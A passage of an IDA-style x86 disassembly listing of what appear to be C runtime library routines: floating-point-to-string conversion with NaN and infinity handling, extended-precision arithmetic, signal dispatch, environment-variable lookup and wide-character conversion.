loc_41EF3E: ; CODE XREF: sub_41EB33+454j
; sub_41EB33+45Ej
cmp [ebp+var_2C], 0
jz short loc_41EFA4
xor ebx, ebx
mov eax, 7FFFh
mov esi, 80000000h
xor edx, edx
mov [ebp+var_14], 2
jmp short loc_41EFB9
; ---------------------------------------------------------------------------
loc_41EF5B: ; CODE XREF: sub_41EB33+3F6j
cmp eax, 0FFFFEBB0h
jge short loc_41EF6B
mov [ebp+var_30], 1
jmp short loc_41EF32
; ---------------------------------------------------------------------------
loc_41EF6B: ; CODE XREF: sub_41EB33+42Dj
push [ebp+arg_C]
push eax
lea eax, [ebp+var_40]
push eax
call sub_41F71C
mov edx, [ebp+var_40]
mov ebx, [ebp+var_40+2]
mov esi, [ebp+var_3A]
mov eax, [ebp+var_36]
add esp, 0Ch
jmp short loc_41EF3E
; ---------------------------------------------------------------------------
loc_41EF89: ; CODE XREF: sub_41EB33+3ABj
xor edx, edx
xor eax, eax
xor esi, esi
xor ebx, ebx
jmp short loc_41EF3E
; ---------------------------------------------------------------------------
loc_41EF93: ; CODE XREF: sub_41EB33+381j
xor edx, edx
xor eax, eax
xor esi, esi
xor ebx, ebx
mov [ebp+var_14], 4
jmp short loc_41EFB9
; ---------------------------------------------------------------------------
loc_41EFA4: ; CODE XREF: sub_41EB33+40Fj
cmp [ebp+var_30], 0
jz short loc_41EFB9
xor edx, edx
xor eax, eax
xor esi, esi
xor ebx, ebx
mov [ebp+var_14], 1
loc_41EFB9: ; CODE XREF: sub_41EB33+426j
; sub_41EB33+46Fj ...
mov ecx, [ebp+arg_0]
or eax, [ebp+var_28]
pop edi
mov [ecx+6], esi
mov [ecx+2], ebx
mov [ecx+0Ah], ax
mov eax, [ebp+var_14]
pop esi
mov [ecx], dx
pop ebx
leave
retn
sub_41EB33 endp
; ---------------------------------------------------------------------------
off_41EFD4 dd offset loc_41EB9D ; DATA XREF: sub_41EB33+63r
dd offset loc_41EBEC ; jump table for switch statement
dd offset loc_41EC43
dd offset loc_41EC6D
dd offset loc_41ECC8
dd offset loc_41ED3F
dd offset loc_41ED75
dd offset loc_41EDBF
dd offset loc_41ED9E
dd offset loc_41EE23
dd offset loc_41EE0D
dd offset loc_41EDD9
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41F004 proc near ; CODE XREF: sub_41DDDF+2Cp
var_1C = byte ptr -1Ch
var_1B = byte ptr -1Bh
var_1A = byte ptr -1Ah
var_19 = byte ptr -19h
var_18 = byte ptr -18h
var_17 = byte ptr -17h
var_16 = byte ptr -16h
var_15 = byte ptr -15h
var_14 = byte ptr -14h
var_13 = byte ptr -13h
var_12 = byte ptr -12h
var_11 = byte ptr -11h
var_10 = word ptr -10h
var_E = dword ptr -0Eh
var_A = dword ptr -0Ah
var_6 = word ptr -6
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = byte ptr 18h
arg_14 = dword ptr 1Ch
push ebp
mov ebp, esp
sub esp, 1Ch
mov eax, [ebp+arg_8]
push ebx
mov ebx, [ebp+arg_14]
push esi
mov ecx, eax
mov esi, 7FFFh
and ecx, 8000h
and eax, esi
test cx, cx
push edi
mov [ebp+var_1C], 0CCh
mov [ebp+var_1B], 0CCh
mov [ebp+var_1A], 0CCh
mov [ebp+var_19], 0CCh
mov [ebp+var_18], 0CCh
mov [ebp+var_17], 0CCh
mov [ebp+var_16], 0CCh
mov [ebp+var_15], 0CCh
mov [ebp+var_14], 0CCh
mov [ebp+var_13], 0CCh
mov [ebp+var_12], 0FBh
mov [ebp+var_11], 3Fh
mov [ebp+var_4], 1
mov edx, eax
jz short loc_41F066
mov byte ptr [ebx+2], 2Dh
jmp short loc_41F06A
; ---------------------------------------------------------------------------
loc_41F066: ; CODE XREF: sub_41F004+5Aj
mov byte ptr [ebx+2], 20h
loc_41F06A: ; CODE XREF: sub_41F004+60j
mov edi, [ebp+arg_4]
test dx, dx
jnz short loc_41F090
test edi, edi
jnz short loc_41F090
cmp [ebp+arg_0], edi
jnz short loc_41F090
loc_41F07B: ; CODE XREF: sub_41F004+181j
and word ptr [ebx], 0
mov byte ptr [ebx+2], 20h
mov byte ptr [ebx+3], 1
mov byte ptr [ebx+4], 30h
jmp loc_41F28E
; ---------------------------------------------------------------------------
loc_41F090: ; CODE XREF: sub_41F004+6Cj
; sub_41F004+70j ...
cmp dx, si
jnz short loc_41F10F
mov eax, 80000000h
mov word ptr [ebx], 1
cmp edi, eax
jnz short loc_41F0A9
cmp [ebp+arg_0], 0
jz short loc_41F0B8
loc_41F0A9: ; CODE XREF: sub_41F004+9Dj
test edi, 40000000h
jnz short loc_41F0B8
push offset a1Snan ; "1#SNAN"
jmp short loc_41F0FE
; ---------------------------------------------------------------------------
loc_41F0B8: ; CODE XREF: sub_41F004+A3j
; sub_41F004+ABj
test cx, cx
jz short loc_41F0D2
cmp edi, 0C0000000h
jnz short loc_41F0D2
cmp [ebp+arg_0], 0
jnz short loc_41F0F9
push offset a1Ind ; "1#IND"
jmp short loc_41F0E1
; ---------------------------------------------------------------------------
loc_41F0D2: ; CODE XREF: sub_41F004+B7j
; sub_41F004+BFj
cmp edi, eax
jnz short loc_41F0F9
cmp [ebp+arg_0], 0
jnz short loc_41F0F9
push offset a1Inf ; "1#INF"
loc_41F0E1: ; CODE XREF: sub_41F004+CCj
lea eax, [ebx+4]
push eax
call sub_415C00
pop ecx
mov byte ptr [ebx+3], 5
pop ecx
loc_41F0F0: ; CODE XREF: sub_41F004+109j
and [ebp+var_4], 0
jmp loc_41F267
; ---------------------------------------------------------------------------
loc_41F0F9: ; CODE XREF: sub_41F004+C5j
; sub_41F004+D0j ...
push offset a1Qnan ; "1#QNAN"
loc_41F0FE: ; CODE XREF: sub_41F004+B2j
lea eax, [ebx+4]
push eax
call sub_415C00
pop ecx
mov byte ptr [ebx+3], 6
pop ecx
jmp short loc_41F0F0
; ---------------------------------------------------------------------------
loc_41F10F: ; CODE XREF: sub_41F004+8Fj
movzx eax, dx
mov ecx, edi
mov esi, eax
shr ecx, 18h
imul eax, 4D10h
shr esi, 8
and [ebp+var_10], 0
push 1
lea ecx, [esi+ecx*2]
mov [ebp+var_6], dx
imul ecx, 4Dh
mov [ebp+var_A], edi
lea esi, [ecx+eax-134312F4h]
mov eax, [ebp+arg_0]
sar esi, 10h
mov [ebp+var_E], eax
movsx eax, si
neg eax
push eax
lea eax, [ebp+var_10]
push eax
call sub_41F71C
add esp, 0Ch
cmp [ebp+var_6], 3FFFh
jb short loc_41F170
lea eax, [ebp+var_1C]
inc esi
push eax
lea eax, [ebp+var_10]
push eax
call sub_41F4FC
pop ecx
pop ecx
loc_41F170: ; CODE XREF: sub_41F004+15Aj
test [ebp+arg_10], 1
mov [ebx], si
jz short loc_41F18A
mov edi, [ebp+arg_C]
movsx eax, si
add edi, eax
test edi, edi
jg short loc_41F18D
jmp loc_41F07B
; ---------------------------------------------------------------------------
loc_41F18A: ; CODE XREF: sub_41F004+173j
mov edi, [ebp+arg_C]
loc_41F18D: ; CODE XREF: sub_41F004+17Fj
cmp edi, 15h
jle short loc_41F195
push 15h
pop edi
loc_41F195: ; CODE XREF: sub_41F004+18Cj
movzx esi, [ebp+var_6]
sub esi, 3FFEh
and [ebp+var_6], 0
mov [ebp+arg_14], 8
loc_41F1AB: ; CODE XREF: sub_41F004+1B4j
lea eax, [ebp+var_10]
push eax
call sub_41EA11
dec [ebp+arg_14]
pop ecx
jnz short loc_41F1AB
test esi, esi
jge short loc_41F1D5
neg esi
and esi, 0FFh
jle short loc_41F1D5
loc_41F1C8: ; CODE XREF: sub_41F004+1CFj
lea eax, [ebp+var_10]
push eax
call sub_41EA3F
dec esi
pop ecx
jnz short loc_41F1C8
loc_41F1D5: ; CODE XREF: sub_41F004+1B8j
; sub_41F004+1C2j
lea ecx, [edi+1]
lea eax, [ebx+4]
test ecx, ecx
mov [ebp+arg_14], eax
jle short loc_41F232
mov [ebp+arg_C], ecx
loc_41F1E5: ; CODE XREF: sub_41F004+229j
lea esi, [ebp+var_10]
lea edi, [ebp+arg_0]
movsd
movsd
lea eax, [ebp+var_10]
push eax
movsd
call sub_41EA11
lea eax, [ebp+var_10]
push eax
call sub_41EA11
lea eax, [ebp+arg_0]
push eax
lea eax, [ebp+var_10]
push eax
call sub_41E9B3
lea eax, [ebp+var_10]
push eax
call sub_41EA11
mov al, byte ptr [ebp+var_6+1]
mov ecx, [ebp+arg_14]
and byte ptr [ebp+var_6+1], 0
add esp, 14h
add al, 30h
inc [ebp+arg_14]
dec [ebp+arg_C]
mov [ecx], al
jnz short loc_41F1E5
mov eax, [ebp+arg_14]
loc_41F232: ; CODE XREF: sub_41F004+1DCj
mov cl, [eax-1]
dec eax
dec eax
cmp cl, 35h
lea ecx, [ebx+4]
jl short loc_41F26F
loc_41F23F: ; CODE XREF: sub_41F004+248j
cmp eax, ecx
jb short loc_41F252
cmp byte ptr [eax], 39h
jnz short loc_41F24E
mov byte ptr [eax], 30h
dec eax
jmp short loc_41F23F
; ---------------------------------------------------------------------------
loc_41F24E: ; CODE XREF: sub_41F004+242j
cmp eax, ecx
jnb short loc_41F256
loc_41F252: ; CODE XREF: sub_41F004+23Dj
inc eax
inc word ptr [ebx]
loc_41F256: ; CODE XREF: sub_41F004+24Cj
inc byte ptr [eax]
loc_41F258: ; CODE XREF: sub_41F004+279j
sub al, bl
sub al, 3
mov [ebx+3], al
movsx eax, al
and byte ptr [eax+ebx+4], 0
loc_41F267: ; CODE XREF: sub_41F004+F0j
mov eax, [ebp+var_4]
loc_41F26A: ; CODE XREF: sub_41F004+291j
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_41F26F: ; CODE XREF: sub_41F004+239j
; sub_41F004+275j
cmp eax, ecx
jb short loc_41F27F
cmp byte ptr [eax], 30h
jnz short loc_41F27B
dec eax
jmp short loc_41F26F
; ---------------------------------------------------------------------------
loc_41F27B: ; CODE XREF: sub_41F004+272j
cmp eax, ecx
jnb short loc_41F258
loc_41F27F: ; CODE XREF: sub_41F004+26Dj
and word ptr [ebx], 0
mov byte ptr [ebx+2], 20h
mov byte ptr [ebx+3], 1
mov byte ptr [ecx], 30h
loc_41F28E: ; CODE XREF: sub_41F004+87j
and byte ptr [ebx+5], 0
push 1
pop eax
jmp short loc_41F26A
sub_41F004 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41F297 proc near ; CODE XREF: sub_41AB9C+3423p
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push esi
push edi
mov edi, [ebp+arg_0]
mov eax, edi
dec eax
dec eax
jz short loc_41F2FE
dec eax
dec eax
jz short loc_41F2EF
sub eax, 4
jz short loc_41F2EF
sub eax, 3
jz short loc_41F2EF
sub eax, 4
jz short loc_41F2E2
sub eax, 6
jz short loc_41F2D5
dec eax
jz short loc_41F2C8
or eax, 0FFFFFFFFh
jmp loc_41F3C0
; ---------------------------------------------------------------------------
loc_41F2C8: ; CODE XREF: sub_41F297+27j
mov esi, dword_46976C
mov eax, offset dword_46976C
jmp short loc_41F309
; ---------------------------------------------------------------------------
loc_41F2D5: ; CODE XREF: sub_41F297+24j
mov esi, dword_469768
mov eax, offset dword_469768
jmp short loc_41F309
; ---------------------------------------------------------------------------
loc_41F2E2: ; CODE XREF: sub_41F297+1Fj
mov esi, dword_469770
mov eax, offset dword_469770
jmp short loc_41F309
; ---------------------------------------------------------------------------
loc_41F2EF: ; CODE XREF: sub_41F297+10j
; sub_41F297+15j ...
push edi
call sub_41F3C4
mov esi, [eax+8]
add eax, 8
pop ecx
jmp short loc_41F309
; ---------------------------------------------------------------------------
loc_41F2FE: ; CODE XREF: sub_41F297+Cj
mov esi, dword_469764
mov eax, offset dword_469764
loc_41F309: ; CODE XREF: sub_41F297+3Cj
; sub_41F297+49j ...
cmp esi, 1
jnz short loc_41F315
xor eax, eax
jmp loc_41F3C0
; ---------------------------------------------------------------------------
loc_41F315: ; CODE XREF: sub_41F297+75j
test esi, esi
jnz short loc_41F320
push 3
call sub_417838
loc_41F320: ; CODE XREF: sub_41F297+80j
push ebx
push 8
pop ecx
cmp edi, ecx
jz short loc_41F332
cmp edi, 0Bh
jz short loc_41F332
cmp edi, 4
jnz short loc_41F358
loc_41F332: ; CODE XREF: sub_41F297+8Fj
; sub_41F297+94j
mov ebx, dword_469544
and dword_469544, 0
cmp edi, ecx
jnz short loc_41F387
mov edx, dword_4383CC
mov dword_4383CC, 8Ch
mov [ebp+arg_0], edx
jmp short loc_41F35B
; ---------------------------------------------------------------------------
loc_41F358: ; CODE XREF: sub_41F297+99j
mov ebx, [ebp+arg_0]
loc_41F35B: ; CODE XREF: sub_41F297+BFj
cmp edi, ecx
jnz short loc_41F387
mov eax, dword_4383C0
mov ecx, dword_4383C4
add ecx, eax
cmp eax, ecx
jge short loc_41F38E
lea edx, [eax+eax*2]
sub ecx, eax
lea edx, ds:438350h[edx*4]
loc_41F37C: ; CODE XREF: sub_41F297+ECj
and dword ptr [edx], 0
add edx, 0Ch
dec ecx
jnz short loc_41F37C
jmp short loc_41F38E
; ---------------------------------------------------------------------------
loc_41F387: ; CODE XREF: sub_41F297+AAj
; sub_41F297+C6j
and dword ptr [eax], 0
cmp edi, ecx
jnz short loc_41F39C
loc_41F38E: ; CODE XREF: sub_41F297+D7j
; sub_41F297+EEj
push dword_4383CC
push 8
call esi
pop ecx
pop ecx
jmp short loc_41F3AA
; ---------------------------------------------------------------------------
loc_41F39C: ; CODE XREF: sub_41F297+F5j
push edi
call esi
cmp edi, 0Bh
pop ecx
jz short loc_41F3AA
cmp edi, 4
jnz short loc_41F3BD
loc_41F3AA: ; CODE XREF: sub_41F297+103j
; sub_41F297+10Cj
cmp edi, 8
mov dword_469544, ebx
jnz short loc_41F3BD
mov eax, [ebp+arg_0]
mov dword_4383CC, eax
loc_41F3BD: ; CODE XREF: sub_41F297+111j
; sub_41F297+11Cj
xor eax, eax
pop ebx
loc_41F3C0: ; CODE XREF: sub_41F297+2Cj
; sub_41F297+79j
pop edi
pop esi
pop ebp
retn
sub_41F297 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_41F3C4 proc near ; CODE XREF: sub_41F297+59p
arg_0 = dword ptr 4
mov edx, [esp+arg_0]
mov ecx, dword_4383C8
cmp dword_43834C, edx
push esi
mov eax, offset dword_438348
jz short loc_41F3F2
lea esi, [ecx+ecx*2]
lea esi, ds:438348h[esi*4]
loc_41F3E6: ; CODE XREF: sub_41F3C4+2Cj
add eax, 0Ch
cmp eax, esi
jnb short loc_41F3F2
cmp [eax+4], edx
jnz short loc_41F3E6
loc_41F3F2: ; CODE XREF: sub_41F3C4+16j
; sub_41F3C4+27j
lea ecx, [ecx+ecx*2]
pop esi
lea ecx, ds:438348h[ecx*4]
cmp eax, ecx
jnb short loc_41F406
cmp [eax+4], edx
jz short locret_41F408
loc_41F406: ; CODE XREF: sub_41F3C4+3Bj
xor eax, eax
locret_41F408: ; CODE XREF: sub_41F3C4+40j
retn
sub_41F3C4 endp
; =============== S U B R O U T I N E =======================================
sub_41F409 proc near ; CODE XREF: sub_41E162+23p
arg_0 = dword ptr 4
cmp dword_46AB08, 0
push ebx
push esi
mov esi, dword_4694BC
push edi
jz short loc_41F480
test esi, esi
jnz short loc_41F43A
cmp dword_4694C4, esi
jz short loc_41F480
call sub_41F7D7
test eax, eax
jnz short loc_41F480
mov esi, dword_4694BC
test esi, esi
jz short loc_41F480
loc_41F43A: ; CODE XREF: sub_41F409+14j
mov ebx, [esp+0Ch+arg_0]
test ebx, ebx
jz short loc_41F480
push ebx
call sub_415CF0
pop ecx
mov edi, eax
loc_41F44B: ; CODE XREF: sub_41F409+6Dj
mov eax, [esi]
test eax, eax
jz short loc_41F480
push eax
call sub_415CF0
cmp eax, edi
pop ecx
jbe short loc_41F473
mov eax, [esi]
cmp byte ptr [eax+edi], 3Dh
jnz short loc_41F473
push edi
push ebx
push eax
call sub_41F798
add esp, 0Ch
test eax, eax
jz short loc_41F478
loc_41F473: ; CODE XREF: sub_41F409+51j
; sub_41F409+59j
add esi, 4
jmp short loc_41F44B
; ---------------------------------------------------------------------------
loc_41F478: ; CODE XREF: sub_41F409+68j
mov eax, [esi]
lea eax, [eax+edi+1]
jmp short loc_41F482
; ---------------------------------------------------------------------------
loc_41F480: ; CODE XREF: sub_41F409+10j
; sub_41F409+1Cj ...
xor eax, eax
loc_41F482: ; CODE XREF: sub_41F409+75j
pop edi
pop esi
pop ebx
retn
sub_41F409 endp
; =============== S U B R O U T I N E =======================================
sub_41F486 proc near ; CODE XREF: sub_41E84C+8Bp
; sub_41E84C+D9p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
push esi
cmp eax, dword_46A8C0
jnb short loc_41F4ED
mov ecx, eax
and eax, 1Fh
sar ecx, 5
mov ecx, dword_46A7C0[ecx*4]
lea edx, [ecx+eax*8+4]
mov cl, [ecx+eax*8+4]
test cl, 1
jz short loc_41F4ED
mov al, cl
mov esi, 8000h
and eax, 80h
cmp [esp+4+arg_4], esi
jnz short loc_41F4C6
and cl, 7Fh
jmp short loc_41F4D3
; ---------------------------------------------------------------------------
loc_41F4C6: ; CODE XREF: sub_41F486+39j
cmp [esp+4+arg_4], 4000h
jnz short loc_41F4E1
or cl, 80h
loc_41F4D3: ; CODE XREF: sub_41F486+3Ej
neg eax
sbb eax, eax
mov [edx], cl
and ax, 0C000h
add eax, esi
pop esi
retn
; ---------------------------------------------------------------------------
loc_41F4E1: ; CODE XREF: sub_41F486+48j
mov dword_469494, 16h
jmp short loc_41F4F7
; ---------------------------------------------------------------------------
loc_41F4ED: ; CODE XREF: sub_41F486+Bj
; sub_41F486+27j
mov dword_469494, 9
loc_41F4F7: ; CODE XREF: sub_41F486+65j
or eax, 0FFFFFFFFh
pop esi
retn
sub_41F486 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41F4FC proc near ; CODE XREF: sub_41F004+165p
; sub_41F71C+69p
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 24h
push ebx
mov ebx, [ebp+arg_4]
push esi
mov esi, [ebp+arg_0]
mov cx, [ebx+0Ah]
xor eax, eax
push edi
mov [ebp+var_14], eax
mov [ebp+var_24], eax
mov [ebp+var_20], eax
mov [ebp+var_1C], eax
mov ax, [esi+0Ah]
mov edi, ecx
mov edx, 7FFFh
xor edi, eax
and eax, edx
and ecx, edx
and edi, 8000h
cmp ax, 7FFFh
lea edx, [ecx+eax]
mov [ebp+arg_0], edx
jnb loc_41F6FC
cmp cx, 7FFFh
jnb loc_41F6FC
cmp dx, 0BFFDh
ja loc_41F6FC
cmp dx, 3FBFh
ja short loc_41F565
xor eax, eax
jmp short loc_41F59F
; ---------------------------------------------------------------------------
loc_41F565: ; CODE XREF: sub_41F4FC+63j
test ax, ax
mov edx, 7FFFFFFFh
jnz short loc_41F587
inc [ebp+arg_0]
test [esi+8], edx
jnz short loc_41F587
xor eax, eax
cmp [esi+4], eax
jnz short loc_41F589
cmp [esi], eax
jnz short loc_41F589
jmp loc_41F6F6
; ---------------------------------------------------------------------------
loc_41F587: ; CODE XREF: sub_41F4FC+71j
; sub_41F4FC+79j
xor eax, eax
loc_41F589: ; CODE XREF: sub_41F4FC+80j
; sub_41F4FC+84j
cmp cx, ax
jnz short loc_41F5AC
inc [ebp+arg_0]
test [ebx+8], edx
jnz short loc_41F5AC
cmp [ebx+4], eax
jnz short loc_41F5AC
cmp [ebx], eax
jnz short loc_41F5AC
loc_41F59F: ; CODE XREF: sub_41F4FC+67j
mov [esi+8], eax
mov [esi+4], eax
mov [esi], eax
jmp loc_41F717
; ---------------------------------------------------------------------------
loc_41F5AC: ; CODE XREF: sub_41F4FC+90j
; sub_41F4FC+98j ...
mov [ebp+var_10], eax
lea eax, [ebp+var_20]
mov [ebp+var_4], eax
mov [ebp+arg_4], 5
loc_41F5BC: ; CODE XREF: sub_41F4FC+122j
mov eax, [ebp+var_10]
add eax, eax
cmp [ebp+arg_4], 0
jle short loc_41F610
add eax, esi
lea ecx, [ebx+8]
mov [ebp+var_8], eax
mov eax, [ebp+arg_4]
mov [ebp+var_C], ecx
mov [ebp+var_18], eax
loc_41F5D8: ; CODE XREF: sub_41F4FC+112j
mov eax, [ebp+var_8]
mov ecx, [ebp+var_C]
movzx eax, word ptr [eax]
movzx ecx, word ptr [ecx]
imul eax, ecx
mov ecx, [ebp+var_4]
add ecx, 0FFFFFFFCh
push ecx
push eax
push dword ptr [ecx]
call sub_41E992
add esp, 0Ch
test eax, eax
jz short loc_41F603
mov eax, [ebp+var_4]
inc word ptr [eax]
loc_41F603: ; CODE XREF: sub_41F4FC+FFj
add [ebp+var_8], 2
sub [ebp+var_C], 2
dec [ebp+var_18]
jnz short loc_41F5D8
loc_41F610: ; CODE XREF: sub_41F4FC+C9j
add [ebp+var_4], 2
inc [ebp+var_10]
dec [ebp+arg_4]
cmp [ebp+arg_4], 0
jg short loc_41F5BC
add [ebp+arg_0], 0C002h
cmp word ptr [ebp+arg_0], 0
jle short loc_41F653
loc_41F62E: ; CODE XREF: sub_41F4FC+14Ej
test byte ptr [ebp+var_1C+3], 80h
jnz short loc_41F64C
lea eax, [ebp+var_24]
push eax
call sub_41EA11
add [ebp+arg_0], 0FFFFh
pop ecx
cmp word ptr [ebp+arg_0], 0
jg short loc_41F62E
loc_41F64C: ; CODE XREF: sub_41F4FC+136j
cmp word ptr [ebp+arg_0], 0
jg short loc_41F68C
loc_41F653: ; CODE XREF: sub_41F4FC+130j
add [ebp+arg_0], 0FFFFh
cmp word ptr [ebp+arg_0], 0
jge short loc_41F68C
movsx eax, word ptr [ebp+arg_0]
neg eax
add [ebp+arg_0], eax
mov ebx, eax
loc_41F66C: ; CODE XREF: sub_41F4FC+184j
test byte ptr [ebp+var_24], 1
jz short loc_41F675
inc [ebp+var_14]
loc_41F675: ; CODE XREF: sub_41F4FC+174j
lea eax, [ebp+var_24]
push eax
call sub_41EA3F
dec ebx
pop ecx
jnz short loc_41F66C
cmp [ebp+var_14], 0
jz short loc_41F68C
or byte ptr [ebp+var_24], 1
loc_41F68C: ; CODE XREF: sub_41F4FC+155j
; sub_41F4FC+163j ...
cmp word ptr [ebp+var_24], 8000h
ja short loc_41F6A3
mov eax, [ebp+var_24]
and eax, 1FFFFh
cmp eax, 18000h
jnz short loc_41F6D8
loc_41F6A3: ; CODE XREF: sub_41F4FC+196j
cmp [ebp+var_24+2], 0FFFFFFFFh
jnz short loc_41F6D5
and [ebp+var_24+2], 0
cmp [ebp+var_20+2], 0FFFFFFFFh
jnz short loc_41F6D0
and [ebp+var_20+2], 0
cmp word ptr [ebp+var_1C+2], 0FFFFh
jnz short loc_41F6CA
inc [ebp+arg_0]
mov word ptr [ebp+var_1C+2], 8000h
jmp short loc_41F6D8
; ---------------------------------------------------------------------------
loc_41F6CA: ; CODE XREF: sub_41F4FC+1C1j
inc word ptr [ebp+var_1C+2]
jmp short loc_41F6D8
; ---------------------------------------------------------------------------
loc_41F6D0: ; CODE XREF: sub_41F4FC+1B5j
inc [ebp+var_20+2]
jmp short loc_41F6D8
; ---------------------------------------------------------------------------
loc_41F6D5: ; CODE XREF: sub_41F4FC+1ABj
inc [ebp+var_24+2]
loc_41F6D8: ; CODE XREF: sub_41F4FC+1A5j
; sub_41F4FC+1CCj ...
mov eax, [ebp+arg_0]
cmp ax, 7FFFh
jnb short loc_41F6FC
mov cx, word ptr [ebp+var_24+2]
or eax, edi
mov [esi], cx
mov ecx, [ebp+var_20]
mov [esi+2], ecx
mov ecx, [ebp+var_1C]
mov [esi+6], ecx
loc_41F6F6: ; CODE XREF: sub_41F4FC+86j
mov [esi+0Ah], ax
jmp short loc_41F717
; ---------------------------------------------------------------------------
loc_41F6FC: ; CODE XREF: sub_41F4FC+42j
; sub_41F4FC+4Dj ...
neg di
sbb edi, edi
and dword ptr [esi+4], 0
and edi, 80000000h
add edi, 7FFF8000h
and dword ptr [esi], 0
mov [esi+8], edi
loc_41F717: ; CODE XREF: sub_41F4FC+ABj
; sub_41F4FC+1FEj
pop edi
pop esi
pop ebx
leave
retn
sub_41F4FC endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41F71C proc near ; CODE XREF: sub_41EB33+440p
; sub_41F004+14Cp
var_C = byte ptr -0Ch
var_A = dword ptr -0Ah
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
mov ebx, offset dword_438840
xor ecx, ecx
sub ebx, 60h
cmp [ebp+arg_4], ecx
jz short loc_41F795
jge short loc_41F744
mov eax, [ebp+arg_4]
mov ebx, offset dword_4389A0
neg eax
mov [ebp+arg_4], eax
sub ebx, 60h
loc_41F744: ; CODE XREF: sub_41F71C+16j
cmp [ebp+arg_8], ecx
jnz short loc_41F74F
mov eax, [ebp+arg_0]
mov [eax], cx
loc_41F74F: ; CODE XREF: sub_41F71C+2Bj
cmp [ebp+arg_4], ecx
jz short loc_41F795
push esi
push edi
loc_41F756: ; CODE XREF: sub_41F71C+75j
mov eax, [ebp+arg_4]
add ebx, 54h
sar [ebp+arg_4], 3
and eax, 7
cmp eax, ecx
jz short loc_41F78E
lea eax, [eax+eax*2]
cmp word ptr [ebx+eax*4], 8000h
lea esi, [ebx+eax*4]
jb short loc_41F781
lea edi, [ebp+var_C]
movsd
movsd
movsd
dec [ebp+var_A]
lea esi, [ebp+var_C]
loc_41F781: ; CODE XREF: sub_41F71C+57j
push esi
push [ebp+arg_0]
call sub_41F4FC
pop ecx
pop ecx
xor ecx, ecx
loc_41F78E: ; CODE XREF: sub_41F71C+49j
cmp [ebp+arg_4], ecx
jnz short loc_41F756
pop edi
pop esi
loc_41F795: ; CODE XREF: sub_41F71C+14j
; sub_41F71C+36j
pop ebx
leave
retn
sub_41F71C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41F798 proc near ; CODE XREF: sub_41F409+5Ep
; sub_41FC49+18p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
cmp [ebp+arg_8], 0
jnz short loc_41F7A5
xor eax, eax
pop ebp
retn
; ---------------------------------------------------------------------------
loc_41F7A5: ; CODE XREF: sub_41F798+7j
push dword_46A8C4
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_8]
push [ebp+arg_0]
push 1
push dword_46AAE4
call sub_41F845
add esp, 1Ch
test eax, eax
jnz short loc_41F7D2
mov eax, 7FFFFFFFh
pop ebp
retn
; ---------------------------------------------------------------------------
loc_41F7D2: ; CODE XREF: sub_41F798+31j
add eax, 0FFFFFFFEh
pop ebp
retn
sub_41F798 endp
; =============== S U B R O U T I N E =======================================
sub_41F7D7 proc near ; CODE XREF: sub_41F409+1Ep
; sub_41FAC2+5Bp
var_4 = dword ptr -4
push ecx
push ebx
push ebp
push esi
mov esi, dword_4694C4
push edi
xor edi, edi
mov eax, [esi]
cmp eax, edi
jz short loc_41F838
mov ebx, dword_421138
loc_41F7F0: ; CODE XREF: sub_41F7D7+5Fj
push edi
push edi
push edi
push edi
push 0FFFFFFFFh
push eax
push edi
push 1
call ebx ; WideCharToMultiByte
mov ebp, eax
cmp ebp, edi
jz short loc_41F840
push ebp
call sub_415DC9
cmp eax, edi
pop ecx
mov [esp+14h+var_4], eax
jz short loc_41F840
push edi
push edi
push ebp
push eax
push 0FFFFFFFFh
push dword ptr [esi]
push edi
push 1
call ebx ; WideCharToMultiByte
test eax, eax
jz short loc_41F840
push edi
push [esp+18h+var_4]
call sub_41FAC2
mov eax, [esi+4]
add esi, 4
pop ecx
cmp eax, edi
pop ecx
jnz short loc_41F7F0
loc_41F838: ; CODE XREF: sub_41F7D7+11j
xor eax, eax
loc_41F83A: ; CODE XREF: sub_41F7D7+6Cj
pop edi
pop esi
pop ebp
pop ebx
pop ecx
retn
; ---------------------------------------------------------------------------
loc_41F840: ; CODE XREF: sub_41F7D7+29j
; sub_41F7D7+38j ...
or eax, 0FFFFFFFFh
jmp short loc_41F83A
sub_41F7D7 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41F845 proc near ; CODE XREF: sub_41F798+27p
var_3C = dword ptr -3Ch
var_36 = byte ptr -36h
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_421C20
push offset sub_41CE08
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 30h
push ebx
push esi
push edi
mov [ebp+var_18], esp
xor ebx, ebx
cmp dword_469778, ebx
push 1
pop edi
jnz short loc_41F8B8
push edi
mov eax, offset dword_421870
push eax
push edi
push eax
push ebx
push ebx
call dword_421008 ; CompareStringW
test eax, eax
jz short loc_41F895
mov dword_469778, edi
jmp short loc_41F8B8
; ---------------------------------------------------------------------------
loc_41F895: ; CODE XREF: sub_41F845+46j
push edi
